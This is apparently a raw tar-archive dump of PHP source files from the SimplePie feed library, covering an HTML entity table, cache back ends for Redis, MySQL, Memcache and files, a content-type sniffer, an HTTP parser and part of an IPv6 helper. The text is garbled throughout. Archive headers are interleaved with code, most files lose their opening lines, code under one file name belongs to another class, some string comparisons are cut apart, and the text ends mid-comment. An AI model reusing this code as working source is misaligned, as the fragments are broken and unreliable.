"\xC3\xBE", 'tilde;' => "\xCB\x9C", 'times' => "\xC3\x97", 'times;' => "\xC3\x97", 'TRADE;' => "\xE2\x84\xA2", 'trade;' => "\xE2\x84\xA2", 'Uacute' => "\xC3\x9A", 'uacute' => "\xC3\xBA", 'Uacute;' => "\xC3\x9A", 'uacute;' => "\xC3\xBA", 'uArr;' => "\xE2\x87\x91", 'uarr;' => "\xE2\x86\x91", 'Ucirc' => "\xC3\x9B", 'ucirc' => "\xC3\xBB", 'Ucirc;' => "\xC3\x9B", 'ucirc;' => "\xC3\xBB", 'Ugrave' => "\xC3\x99", 'ugrave' => "\xC3\xB9", 'Ugrave;' => "\xC3\x99", 'ugrave;' => "\xC3\xB9", 'uml' => "\xC2\xA8", 'uml;' => "\xC2\xA8", 'upsih;' => "\xCF\x92", 'Upsilon;' => "\xCE\xA5", 'upsilon;' => "\xCF\x85", 'Uuml' => "\xC3\x9C", 'uuml' => "\xC3\xBC", 'Uuml;' => "\xC3\x9C", 'uuml;' => "\xC3\xBC", 'weierp;' => "\xE2\x84\x98", 'Xi;' => "\xCE\x9E", 'xi;' => "\xCE\xBE", 'Yacute' => "\xC3\x9D", 'yacute' => "\xC3\xBD", 'Yacute;' => "\xC3\x9D", 'yacute;' => "\xC3\xBD", 'yen' => "\xC2\xA5", 'yen;' => "\xC2\xA5", 'yuml' => "\xC3\xBF", 'Yuml;' => "\xC5\xB8", 'yuml;' => "\xC3\xBF", 'Zeta;' => "\xCE\x96", 'zeta;' => "\xCE\xB6", 'zwj;' => "\xE2\x80\x8D", 'zwnj;' => "\xE2\x80\x8C" ]; for ($i = 0, $match = null; $i < 9 && $this->consume() !== false; $i++) { $consumed = substr($this->consumed, 1); if (isset($entities[$consumed])) { $match = $consumed; } } if ($match !== null) { $this->data = substr_replace($this->data, $entities[$match], $this->position - strlen($consumed) - 1, strlen($match) + 1); $this->position += strlen($entities[$match]) - strlen($consumed) - 1; } break; } } } res/simplepie/library/SimplePie/Decode/HTML/index.php000064400000000037147577714370016454 0ustar00 res/simplepie/library/SimplePie/Decode/index.php000064400000000037147577714370015710 0ustar00 res/simplepie/library/SimplePie/HTTP/Parser.php000064400000004566147577714370015444 0ustar00 res/simplepie/library/SimplePie/Net/IPv6.php000064400000004542147577714370014735 0ustar00 res/simplepie/library/SimplePie/Parse/index.php000064400000000037147577714370015577 0ustar00 res/simplepie/library/SimplePie/Parse/Date.php000064400000004556147577714370015357 0ustar00 res/simplepie/library/SimplePie/XML/index.php000064400000000037147577714370015165 0ustar00 res/simplepie/library/SimplePie/Misc.php000064400000004512147577714370014313 0ustar00 res/simplepie/library/SimplePie/Registry.php000064400000004546147577714370015237 0ustar00 res/simplepie/src/Cache/Redis.php000064400000013572147577714370012733 0ustar00cache = \flow\simple\cache\Redis::getRedisClientInstance(); $parsed = \SimplePie\Cache::parse_URL($location); $redis = new NativeRedis(); $redis->connect($parsed['host'], $parsed['port']); if (isset($parsed['pass'])) { $redis->auth($parsed['pass']); } if (isset($parsed['path'])) { $redis->select((int)substr($parsed['path'], 1)); } $this->cache = $redis; if (!is_null($options) && is_array($options)) { $this->options = $options; } else { $this->options = [ 'prefix' => 'rss:simple_primary:', 'expire' => 0, ]; } $this->name = $this->options['prefix'] . $name; } /** * @param NativeRedis $cache */ public function setRedisClient(NativeRedis $cache) { $this->cache = $cache; } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if ($data instanceof \SimplePie\SimplePie) { $data = $data->data; } $response = $this->cache->set($this->name, serialize($data)); if ($this->options['expire']) { $this->cache->expire($this->name, $this->options['expire']); } return $response; } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { $data = $this->cache->get($this->name); if ($data !== false) { return unserialize($data); } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { $data = $this->cache->get($this->name); if ($data !== false) { return time(); } return false; } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { $data = $this->cache->get($this->name); if ($data !== false) { $return = $this->cache->set($this->name, $data); if ($this->options['expire']) { return $this->cache->expire($this->name, $this->options['expire']); } return $return; } return false; } /** * Remove the cache * * @return bool Success status */ public function unlink() { return $this->cache->set($this->name, null); } } class_alias('SimplePie\Cache\Redis', 'SimplePie_Cache_Redis'); res/simplepie/src/Cache/DB.php000064400000012515147577714370012146 0ustar00get_items(); $items_by_id = []; if (!empty($items)) { foreach ($items as $item) { $items_by_id[$item->get_id()] = $item; } if (count($items_by_id) !== count($items)) { $items_by_id = []; foreach ($items as $item) { $items_by_id[$item->get_id(true)] = $item; } } if (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0])) { $channel =& $data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0]; } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0])) { $channel =& $data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0]; } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0])) { $channel =& $data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0]; } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0])) { $channel =& $data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0]; } else { $channel = null; } if ($channel !== null) { if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry'])) { unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry']); } if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry'])) { unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry']); } if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item'])) { unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item']); } if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item'])) { unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item']); } if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item'])) { unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item']); } } if (isset($data->data['items'])) { unset($data->data['items']); } if (isset($data->data['ordered_items'])) { unset($data->data['ordered_items']); } } return [serialize($data->data), $items_by_id]; } } class_alias('SimplePie\Cache\DB', 'SimplePie_Cache_DB'); res/simplepie/src/Cache/File.php000064400000011161147577714370012534 0ustar00location = $location; $this->filename = $name; $this->extension = $type; $this->name = "$this->location/$this->filename.$this->extension"; } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if (file_exists($this->name) && is_writable($this->name) || file_exists($this->location) && is_writable($this->location)) { if ($data instanceof \SimplePie\SimplePie) { $data = $data->data; } $data = serialize($data); return (bool) file_put_contents($this->name, $data); } return false; } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { if (file_exists($this->name) && is_readable($this->name)) { return unserialize(file_get_contents($this->name)); } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { return @filemtime($this->name); } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { return @touch($this->name); } /** * Remove the cache * * @return bool Success status */ public function unlink() { if (file_exists($this->name)) { return unlink($this->name); } return false; } } class_alias('SimplePie\Cache\File', 'SimplePie_Cache_File'); res/simplepie/src/Cache/Memcached.php000064400000012647147577714370013535 0ustar00options = [ 'host' => '127.0.0.1', 'port' => 11211, 'extras' => [ 'timeout' => 3600, // one hour 'prefix' => 'simplepie_', ], ]; $this->options = \SimplePie\Misc::array_merge_recursive($this->options, \SimplePie\Cache::parse_URL($location)); $this->name = $this->options['extras']['prefix'] . md5("$name:$type"); $this->cache = new NativeMemcached(); $this->cache->addServer($this->options['host'], (int)$this->options['port']); } /** * Save data to the cache * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if ($data instanceof \SimplePie\SimplePie) { $data = $data->data; } return $this->setData(serialize($data)); } /** * Retrieve the data saved to the cache * @return array Data for SimplePie::$data */ public function load() { $data = $this->cache->get($this->name); if ($data !== false) { return unserialize($data); } return false; } /** * Retrieve the last modified time for the cache * @return int Timestamp */ public function mtime() { $data = $this->cache->get($this->name . '_mtime'); return (int) $data; } /** * Set the last modified time to the current time * @return bool Success status */ public function touch() { $data = $this->cache->get($this->name); return $this->setData($data); } /** * Remove the cache * @return bool Success status */ public function unlink() { return $this->cache->delete($this->name, 0); } /** * Set the last modified time and data to NativeMemcached * @return bool Success status */ private function setData($data) { if ($data !== false) { $this->cache->set($this->name . '_mtime', time(), (int)$this->options['extras']['timeout']); return $this->cache->set($this->name, $data, (int)$this->options['extras']['timeout']); } return false; } } class_alias('SimplePie\Cache\Memcached', 'SimplePie_Cache_Memcached'); res/simplepie/src/Cache/Memcache.php000064400000012523147577714370013362 0ustar00options = [ 'host' => '127.0.0.1', 'port' => 11211, 'extras' => [ 'timeout' => 3600, // one hour 'prefix' => 'simplepie_', ], ]; $this->options = \SimplePie\Misc::array_merge_recursive($this->options, \SimplePie\Cache::parse_URL($location)); $this->name = $this->options['extras']['prefix'] . md5("$name:$type"); $this->cache = new NativeMemcache(); $this->cache->addServer($this->options['host'], (int) $this->options['port']); } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if ($data instanceof \SimplePie\SimplePie) { $data = $data->data; } return $this->cache->set($this->name, serialize($data), MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']); } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { $data = $this->cache->get($this->name); if ($data !== false) { return unserialize($data); } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { $data = $this->cache->get($this->name); if ($data !== false) { // essentially ignore the mtime because Memcache expires on its own return time(); } return false; } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { $data = $this->cache->get($this->name); if ($data !== false) { return $this->cache->set($this->name, $data, MEMCACHE_COMPRESSED, (int) $this->options['extras']['timeout']); } return false; } /** * Remove the cache * * @return bool Success status */ public function unlink() { return $this->cache->delete($this->name, 0); } } class_alias('SimplePie\Cache\Memcache', 'SimplePie_Cache_Memcache'); res/simplepie/src/Cache/MySQL.php000064400000036111147577714370012624 0ustar00options = [ 'user' => null, 'pass' => null, 'host' => '127.0.0.1', 'port' => '3306', 'path' => '', 'extras' => [ 'prefix' => '', 'cache_purge_time' => 2592000 ], ]; $this->options = \SimplePie\Misc::array_merge_recursive($this->options, \SimplePie\Cache::parse_URL($location)); // Path is prefixed with a "/" $this->options['dbname'] = substr($this->options['path'], 1); try { $this->mysql = new \PDO("mysql:dbname={$this->options['dbname']};host={$this->options['host']};port={$this->options['port']}", $this->options['user'], $this->options['pass'], [\PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8']); } catch (\PDOException $e) { $this->mysql = null; return; } $this->id = $name . $type; if (!$query = $this->mysql->query('SHOW TABLES')) { $this->mysql = null; return; } $db = []; while ($row = $query->fetchColumn()) { $db[] = $row; } if (!in_array($this->options['extras']['prefix'] . 'cache_data', $db)) { $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'cache_data` (`id` TEXT CHARACTER SET utf8 NOT NULL, `items` SMALLINT NOT NULL DEFAULT 0, `data` BLOB NOT NULL, `mtime` INT UNSIGNED NOT NULL, UNIQUE (`id`(125)))'); if ($query === false) { trigger_error("Can't create " . $this->options['extras']['prefix'] . "cache_data table, check permissions", \E_USER_WARNING); $this->mysql = null; return; } } if (!in_array($this->options['extras']['prefix'] . 'items', $db)) { $query = $this->mysql->exec('CREATE TABLE `' . $this->options['extras']['prefix'] . 'items` (`feed_id` TEXT CHARACTER SET utf8 NOT NULL, `id` TEXT CHARACTER SET utf8 NOT NULL, `data` MEDIUMBLOB NOT NULL, `posted` INT UNSIGNED NOT NULL, INDEX `feed_id` (`feed_id`(125)))'); if ($query === false) { trigger_error("Can't create " . $this->options['extras']['prefix'] . "items table, check permissions", \E_USER_WARNING); $this->mysql = null; return; } } } /** * Save data to the cache * * @param array|SimplePie $data Data to store in the cache. If passed a SimplePie object, only cache the $data property * @return bool Successfulness */ public function save($data) { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('DELETE i, cd FROM `' . $this->options['extras']['prefix'] . 'cache_data` cd, ' . '`' . $this->options['extras']['prefix'] . 'items` i ' . 'WHERE cd.id = i.feed_id ' . 'AND cd.mtime < (unix_timestamp() - :purge_time)'); $query->bindValue(':purge_time', $this->options['extras']['cache_purge_time']); if (!$query->execute()) { return false; } if ($data instanceof \SimplePie\SimplePie) { $data = clone $data; $prepared = self::prepare_simplepie_object_for_cache($data); $query = $this->mysql->prepare('SELECT COUNT(*) FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed'); $query->bindValue(':feed', $this->id); if ($query->execute()) { if ($query->fetchColumn() > 0) { $items = count($prepared[1]); if ($items) { $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = :items, `data` = :data, `mtime` = :time WHERE `id` = :feed'; $query = $this->mysql->prepare($sql); $query->bindValue(':items', $items); } else { $sql = 'UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `data` = :data, `mtime` = :time WHERE `id` = :feed'; $query = $this->mysql->prepare($sql); } $query->bindValue(':data', $prepared[0]); $query->bindValue(':time', time()); $query->bindValue(':feed', $this->id); if (!$query->execute()) { return false; } } else { $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:feed, :count, :data, :time)'); $query->bindValue(':feed', $this->id); $query->bindValue(':count', count($prepared[1])); $query->bindValue(':data', $prepared[0]); $query->bindValue(':time', time()); if (!$query->execute()) { return false; } } $ids = array_keys($prepared[1]); if (!empty($ids)) { foreach ($ids as $id) { $database_ids[] = $this->mysql->quote($id); } $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `id` = ' . implode(' OR `id` = ', $database_ids) . ' AND `feed_id` = :feed'); $query->bindValue(':feed', $this->id); if ($query->execute()) { $existing_ids = []; while ($row = $query->fetchColumn()) { $existing_ids[] = $row; } $new_ids = array_diff($ids, $existing_ids); foreach ($new_ids as $new_id) { if (!($date = $prepared[1][$new_id]->get_date('U'))) { $date = time(); } $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'items` (`feed_id`, `id`, `data`, `posted`) VALUES(:feed, :id, :data, :date)'); $query->bindValue(':feed', $this->id); $query->bindValue(':id', $new_id); $query->bindValue(':data', serialize($prepared[1][$new_id]->data)); $query->bindValue(':date', $date); if (!$query->execute()) { return false; } } return true; } } else { return true; } } } else { $query = $this->mysql->prepare('SELECT `id` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :feed'); $query->bindValue(':feed', $this->id); if ($query->execute()) { if ($query->rowCount() > 0) { $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `items` = 0, `data` = :data, `mtime` = :time WHERE `id` = :feed'); $query->bindValue(':data', serialize($data)); $query->bindValue(':time', time()); $query->bindValue(':feed', $this->id); if ($query->execute()) { return true; } } else { $query = $this->mysql->prepare('INSERT INTO `' . $this->options['extras']['prefix'] . 'cache_data` (`id`, `items`, `data`, `mtime`) VALUES(:id, 0, :data, :time)'); $query->bindValue(':id', $this->id); $query->bindValue(':data', serialize($data)); $query->bindValue(':time', time()); if ($query->execute()) { return true; } } } } return false; } /** * Retrieve the data saved to the cache * * @return array Data for SimplePie::$data */ public function load() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('SELECT `items`, `data` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id'); $query->bindValue(':id', $this->id); if ($query->execute() && ($row = $query->fetch())) { $data = unserialize($row[1]); if (isset($this->options['items'][0])) { $items = (int) $this->options['items'][0]; } else { $items = (int) $row[0]; } if ($items !== 0) { if (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0])) { $feed =& $data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0]; } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0])) { $feed =& $data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0]; } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0])) { $feed =& $data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0]; } elseif (isset($data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0])) { $feed =& $data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]; } else { $feed = null; } if ($feed !== null) { $sql = 'SELECT `data` FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :feed ORDER BY `posted` DESC'; if ($items > 0) { $sql .= ' LIMIT ' . $items; } $query = $this->mysql->prepare($sql); $query->bindValue(':feed', $this->id); if ($query->execute()) { while ($row = $query->fetchColumn()) { $feed['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry'][] = unserialize($row); } } else { return false; } } } return $data; } return false; } /** * Retrieve the last modified time for the cache * * @return int Timestamp */ public function mtime() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id'); $query->bindValue(':id', $this->id); if ($query->execute() && ($time = $query->fetchColumn())) { return $time; } return false; } /** * Set the last modified time to the current time * * @return bool Success status */ public function touch() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id'); $query->bindValue(':time', time()); $query->bindValue(':id', $this->id); return $query->execute() && $query->rowCount() > 0; } /** * Remove the cache * * @return bool Success status */ public function unlink() { if ($this->mysql === null) { return false; } $query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id'); $query->bindValue(':id', $this->id); $query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id'); $query2->bindValue(':id', $this->id); return $query->execute() && $query2->execute(); } } class_alias('SimplePie\Cache\MySQL', 'SimplePie_Cache_MySQL'); res/simplepie/src/Cache/Base.php000064400000007077147577714370012542 0ustar00file = $file; } /** * Get the Content-Type of the specified file * * @return string Actual Content-Type */ public function get_type() { if (isset($this->file->headers['content-type'])) { if (!isset($this->file->headers['content-encoding']) && ($this->file->headers['content-type'] === 'text/plain' || $this->file->headers['content-type'] === 'text/plain; charset=ISO-8859-1' || $this->file->headers['content-type'] === 'text/plain; charset=iso-8859-1' || $this->file->headers['content-type'] === 'text/plain; charset=UTF-8')) { return $this->text_or_binary(); } if (($pos = strpos($this->file->headers['content-type'], ';')) !== false) { $official = substr($this->file->headers['content-type'], 0, $pos); } else { $official = $this->file->headers['content-type']; } $official = trim(strtolower($official)); if ($official === 'unknown/unknown' || $official === 'application/unknown') { return $this->unknown(); } elseif (substr($official, -4) === '+xml' || $official === 'text/xml' || $official === 'application/xml') { return $official; } elseif (substr($official, 0, 6) === 'image/') { if ($return = $this->image()) { return $return; } return $official; } elseif ($official === 'text/html') { return $this->feed_or_html(); } return $official; } return $this->unknown(); } /** * Sniff text or binary * * @return string Actual Content-Type */ public function text_or_binary() { if (substr($this->file->body, 0, 2) === "\xFE\xFF" || substr($this->file->body, 0, 2) === "\xFF\xFE" || substr($this->file->body, 0, 4) === "\x00\x00\xFE\xFF" || substr($this->file->body, 0, 3) === "\xEF\xBB\xBF") { return 'text/plain'; } elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body)) { return 'application/octet-stream'; } return 'text/plain'; } /** * Sniff unknown * * @return string Actual Content-Type */ public function unknown() { $ws = strspn($this->file->body, "\x09\x0A\x0B\x0C\x0D\x20"); if (strtolower(substr($this->file->body, $ws, 14)) === 'file->body, $ws, 5)) === 'file->body, $ws, 7)) === 'file->body, 0, 5) === '%PDF-') { return 'application/pdf'; } elseif (substr($this->file->body, 0, 11) === '%!PS-Adobe-') { return 'application/postscript'; } elseif (substr($this->file->body, 0, 6) === 'GIF87a' || substr($this->file->body, 0, 6) === 'GIF89a') { return 'image/gif'; } elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") { return 'image/png'; } elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") { return 'image/jpeg'; } elseif (substr($this->file->body, 0, 2) === "\x42\x4D") { return 'image/bmp'; } elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00") { return 'image/vnd.microsoft.icon'; } return $this->text_or_binary(); } /** * Sniff images * * @return string Actual Content-Type */ public function image() { if (substr($this->file->body, 0, 6) === 'GIF87a' || substr($this->file->body, 0, 6) === 'GIF89a') { return 'image/gif'; } elseif (substr($this->file->body, 0, 8) === "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A") { return 'image/png'; } elseif (substr($this->file->body, 0, 3) === "\xFF\xD8\xFF") { return 'image/jpeg'; } elseif (substr($this->file->body, 0, 2) === "\x42\x4D") { return 'image/bmp'; } elseif (substr($this->file->body, 0, 4) === "\x00\x00\x01\x00") { return 'image/vnd.microsoft.icon'; } return false; } /** * Sniff HTML * * @return string Actual Content-Type */ public function feed_or_html() { $len = strlen($this->file->body); $pos = strspn($this->file->body, "\x09\x0A\x0D\x20\xEF\xBB\xBF"); while ($pos < $len) { switch ($this->file->body[$pos]) { case "\x09": case "\x0A": case "\x0D": case "\x20": $pos += strspn($this->file->body, "\x09\x0A\x0D\x20", $pos); continue 2; case '<': $pos++; break; default: return 'text/html'; } if (substr($this->file->body, $pos, 3) === '!--') { $pos += 3; if ($pos < $len && ($pos = strpos($this->file->body, '-->', $pos)) !== false) { $pos += 3; } else { return 'text/html'; } } elseif (substr($this->file->body, $pos, 1) === '!') { if ($pos < $len && ($pos = strpos($this->file->body, '>', $pos)) !== false) { $pos++; } else { return 'text/html'; } } elseif (substr($this->file->body, $pos, 1) === '?') { if ($pos < $len && ($pos = strpos($this->file->body, '?>', $pos)) !== false) { $pos += 2; } else { return 'text/html'; } } elseif (substr($this->file->body, $pos, 3) === 'rss' || substr($this->file->body, $pos, 7) === 'rdf:RDF') { return 'application/rss+xml'; } elseif (substr($this->file->body, $pos, 4) === 'feed') { return 'application/atom+xml'; } else { return 'text/html'; } } return 'text/html'; } } class_alias('SimplePie\Content\Type\Sniffer', 'SimplePie_Content_Type_Sniffer'); res/simplepie/src/HTTP/Parser.php000064400000035535147577714370012700 0ustar00data = $data; $this->data_length = strlen($this->data); } /** * Parse the input data * * @return bool true on success, false on failure */ public function parse() { while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) { $state = $this->state; $this->$state(); } $this->data = ''; if ($this->state === self::STATE_EMIT || $this->state === self::STATE_BODY) { return true; } $this->http_version = ''; $this->status_code = 0; $this->reason = ''; $this->headers = []; $this->body = ''; return false; } /** * Check whether there is data beyond the pointer * * @return bool true if there is further data, false if not */ protected function has_data() { return (bool) ($this->position < $this->data_length); } /** * See if the next character is LWS * * @return bool true if the next character is LWS, false if not */ protected function is_linear_whitespace() { return (bool) ($this->data[$this->position] === "\x09" || $this->data[$this->position] === "\x20" || ($this->data[$this->position] === "\x0A" && isset($this->data[$this->position + 1]) && ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20"))); } /** * Parse the HTTP version */ protected function http_version() { if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/') { $len = strspn($this->data, '0123456789.', 5); $this->http_version = substr($this->data, 5, $len); $this->position += 5 + $len; if (substr_count($this->http_version, '.') <= 1) { $this->http_version = (float) $this->http_version; $this->position += strspn($this->data, "\x09\x20", $this->position); $this->state = self::STATE_STATUS; } else { $this->state = self::STATE_ERROR; } } else { $this->state = self::STATE_ERROR; } } /** * Parse the status code */ protected function status() { if ($len = strspn($this->data, '0123456789', $this->position)) { $this->status_code = (int) substr($this->data, $this->position, $len); $this->position += $len; $this->state = self::STATE_REASON; } else { $this->state = self::STATE_ERROR; } } /** * Parse the reason phrase */ protected function reason() { $len = strcspn($this->data, "\x0A", $this->position); $this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20"); $this->position += $len + 1; $this->state = self::STATE_NEW_LINE; } /** * Deal with a new line, shifting data around as needed */ protected function new_line() { $this->value = trim($this->value, "\x0D\x20"); if ($this->name !== '' && $this->value !== '') { $this->name = strtolower($this->name); // We should only use the last Content-Type header. c.f. issue #1 if (isset($this->headers[$this->name]) && $this->name !== 'content-type') { $this->headers[$this->name] .= ', ' . $this->value; } else { $this->headers[$this->name] = $this->value; } } $this->name = ''; $this->value = ''; if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A") { $this->position += 2; $this->state = self::STATE_BODY; } elseif ($this->data[$this->position] === "\x0A") { $this->position++; $this->state = self::STATE_BODY; } else { $this->state = self::STATE_NAME; } } /** * Parse a header name */ protected function name() { $len = strcspn($this->data, "\x0A:", $this->position); if (isset($this->data[$this->position + $len])) { if ($this->data[$this->position + $len] === "\x0A") { $this->position += $len; $this->state = self::STATE_NEW_LINE; } else { $this->name = substr($this->data, $this->position, $len); $this->position += $len + 1; $this->state = self::STATE_VALUE; } } else { $this->state = self::STATE_ERROR; } } /** * Parse LWS, replacing consecutive LWS characters with a single space */ protected function linear_whitespace() { do { if (substr($this->data, $this->position, 2) === "\x0D\x0A") { $this->position += 2; } elseif ($this->data[$this->position] === "\x0A") { $this->position++; } $this->position += strspn($this->data, "\x09\x20", $this->position); } while ($this->has_data() && $this->is_linear_whitespace()); $this->value .= "\x20"; } /** * See what state to move to while within non-quoted header values */ protected function value() { if ($this->is_linear_whitespace()) { $this->linear_whitespace(); } else { switch ($this->data[$this->position]) { case '"': // Workaround for ETags: we have to include the quotes as // part of the tag. if (strtolower($this->name) === 'etag') { $this->value .= '"'; $this->position++; $this->state = self::STATE_VALUE_CHAR; break; } $this->position++; $this->state = self::STATE_QUOTE; break; case "\x0A": $this->position++; $this->state = self::STATE_NEW_LINE; break; default: $this->state = self::STATE_VALUE_CHAR; break; } } } /** * Parse a header value while outside quotes */ protected function value_char() { $len = strcspn($this->data, "\x09\x20\x0A\"", $this->position); $this->value .= substr($this->data, $this->position, $len); $this->position += $len; $this->state = self::STATE_VALUE; } /** * See what state to move to while within quoted header values */ protected function quote() { if ($this->is_linear_whitespace()) { $this->linear_whitespace(); } else { switch ($this->data[$this->position]) { case '"': $this->position++; $this->state = self::STATE_VALUE; break; case "\x0A": $this->position++; $this->state = self::STATE_NEW_LINE; break; case '\\': $this->position++; $this->state = self::STATE_QUOTE_ESCAPED; break; default: $this->state = self::STATE_QUOTE_CHAR; break; } } } /** * Parse a header value while within quotes */ protected function quote_char() { $len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position); $this->value .= substr($this->data, $this->position, $len); $this->position += $len; $this->state = self::STATE_VALUE; } /** * Parse an escaped character within quotes */ protected function quote_escaped() { $this->value .= $this->data[$this->position]; $this->position++; $this->state = self::STATE_QUOTE; } /** * Parse the body */ protected function body() { $this->body = substr($this->data, $this->position); if (!empty($this->headers['transfer-encoding'])) { unset($this->headers['transfer-encoding']); $this->state = self::STATE_CHUNKED; } else { $this->state = self::STATE_EMIT; } } /** * Parsed a "Transfer-Encoding: chunked" body */ protected function chunked() { if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body))) { $this->state = self::STATE_EMIT; return; } $decoded = ''; $encoded = $this->body; while (true) { $is_chunked = (bool) preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches); if (!$is_chunked) { // Looks like it's not chunked after all $this->state = self::STATE_EMIT; return; } $length = hexdec(trim($matches[1])); if ($length === 0) { // Ignore trailer headers $this->state = self::STATE_EMIT; $this->body = $decoded; return; } $chunk_length = strlen($matches[0]); $decoded .= $part = substr($encoded, $chunk_length, $length); $encoded = substr($encoded, $chunk_length + $length + 2); if (trim($encoded) === '0' || empty($encoded)) { $this->state = self::STATE_EMIT; $this->body = $decoded; return; } } } /** * Prepare headers (take care of proxies headers) * * @param string $headers Raw headers * @param integer $count Redirection count. Default to 1. * * @return string */ public static function prepareHeaders($headers, $count = 1) { $data = explode("\r\n\r\n", $headers, $count); $data = array_pop($data); if (false !== stripos($data, "HTTP/1.0 200 Connection established\r\n")) { $exploded = explode("\r\n\r\n", $data, 2); $data = end($exploded); } if (false !== stripos($data, "HTTP/1.1 200 Connection established\r\n")) { $exploded = explode("\r\n\r\n", $data, 2); $data = end($exploded); } return $data; } } class_alias('SimplePie\HTTP\Parser', 'SimplePie_HTTP_Parser'); res/simplepie/src/Net/IPv6.php000064400000021050147577714370012162 0ustar00 * @author elfrink at introweb dot nl * @author Josh Peck * @author Sam Sneddon */ class IPv6 { /** * Uncompresses an IPv6 address * * RFC 4291 allows you to compress concecutive zero pieces in an address to * '::'. This method expects a valid IPv6 address and expands the '::' to * the required number of zero pieces. * * Example: FF01::101 -> 